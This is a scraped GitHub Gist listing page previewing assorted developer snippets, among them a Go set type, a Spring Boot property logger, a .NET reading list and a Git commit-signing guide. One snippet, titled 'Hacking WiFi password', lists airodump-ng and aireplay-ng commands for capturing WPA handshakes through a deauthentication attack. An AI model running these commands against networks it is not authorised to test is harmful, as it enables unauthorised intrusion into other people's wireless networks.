Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

{
"destruct": false,
"pool-checker": true
}
@SnowCait
SnowCait / NostrTextUploader.md
Last active April 23, 2024 13:51
Nostr テキストアップローダー

概要

画像アップローダーとほぼ同じ。

メリット

  • 削除可能
  • 編集履歴
  • NIP-98 認証 → フォローユーザーに限定することで鍵垢の実装が可能
@bgadrian
bgadrian / set.go
Last active April 23, 2024 13:50
How to implement a simple set data structure in golang
type Set struct {
list map[int]struct{} //empty structs occupy 0 memory
}
func (s *Set) Has(v int) bool {
_, ok := s.list[v]
return ok
}
@sandor-nemeth
sandor-nemeth / PropertyLogger.java
Last active April 23, 2024 13:50
Spring Boot - Log all configuration properties on application startup
package io.github.sandornemeth.spring;
import java.util.Arrays;
import java.util.stream.StreamSupport;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.context.event.ContextRefreshedEvent;
import org.springframework.context.event.EventListener;
import org.springframework.core.env.AbstractEnvironment;
@dmytrokulak
dmytrokulak / DotNetBooklist.txt
Created August 28, 2021 07:35
Books for a .NET developer by levels
Trainee
Ayo Agboola; Practice Your C# Level 1
Junior
Ali Asad; The C# Programmer’s Study Guide (MCSD): Exam: 70-483
Jon Skeet; C# in Depth 4th Edition
Roy Osherove; The Art of Unit Testing: with examples in C# 2nd Edition
Stephen Cleary; Concurrency in C# Cookbook: Asynchronous, Parallel, and Multithreaded Programming 2nd Edition
Fanie Reynders; Modern API Design with ASP.NET Core 2: Building Cross-Platform Back-End Systems
Bill Wagner; More Effective C# (Includes Content Update Program): 50 Specific Ways to Improve Your C# (Effective Software Development Series)
@ReganRyanNZ
ReganRyanNZ / factory_bot.rb
Created March 8, 2021 03:50
find_or_create for FactoryBot
# initializers/factory_bot.rb
# This needs to be extended in any factory you want its methods in, e.g.:
# factory :my_factory do
# extend FactoryBotEnhancements
# change_factory_to_find_or_create
# end
# FactoryBot.create(:my_factory) # creates with default attributes
# FactoryBot.create(:my_factory) # finds with the same default attributes
@cfebs
cfebs / windows_update_powershell.md
Last active April 23, 2024 13:44
Windows update powershell cli (PSWindowsUpdate, Get-WindowsUpdate)
@omidmousavi
omidmousavi / Hacking-WiFi-password.md
Created April 23, 2024 13:32
Hacking WiFi password

Scan availables AP :

  • airodump-ng wlx7cdd903f7fe1

Capture an AP traffic to get handshake :

  • airodump-ng -c <channel> --bssid <AP mac> -w <output name> wlx7cdd903f7fe1

Deauthentication attack to get client handshake in the top command :

  • aireplay-ng -0 100 -a -c wlx7cdd903f7fe1
@raysan5
raysan5 / custom_game_engines_small_study.md
Last active April 23, 2024 13:41
A small state-of-the-art study on custom engines

CUSTOM GAME ENGINES: A Small Study

a_plague_tale

A couple of weeks ago I played (and finished) A Plague Tale, a game by Asobo Studio. I was really captivated by the game, not only by the beautiful graphics but also by the story and the locations in the game. I decided to investigate a bit about the game tech and I was surprised to see it was developed with a custom engine by a relatively small studio. I know there are some companies using custom engines but it's very difficult to find a detailed market study with that kind of information curated and updated. So this article.

Nowadays lots of companies choose engines like Unreal or Unity for their games (or that's what lot of people think) because d

@troyfontaine
troyfontaine / 1-setup.md
Last active April 23, 2024 13:40
Signing your Git Commits on MacOS

Methods of Signing Git Commits on MacOS

Last updated March 13, 2024

This Gist explains how to sign commits using gpg in a step-by-step fashion. Previously, krypt.co was heavily mentioned, but I've only recently learned they were acquired by Akamai and no longer update their previous free products. Those mentions have been removed.

Additionally, 1Password now supports signing Git commits with SSH keys and makes it pretty easy-plus you can easily configure Git Tower to use it for both signing and ssh.

For using a GUI-based GIT tool such as Tower or Github Desktop, follow the steps here for signing your commits with GPG.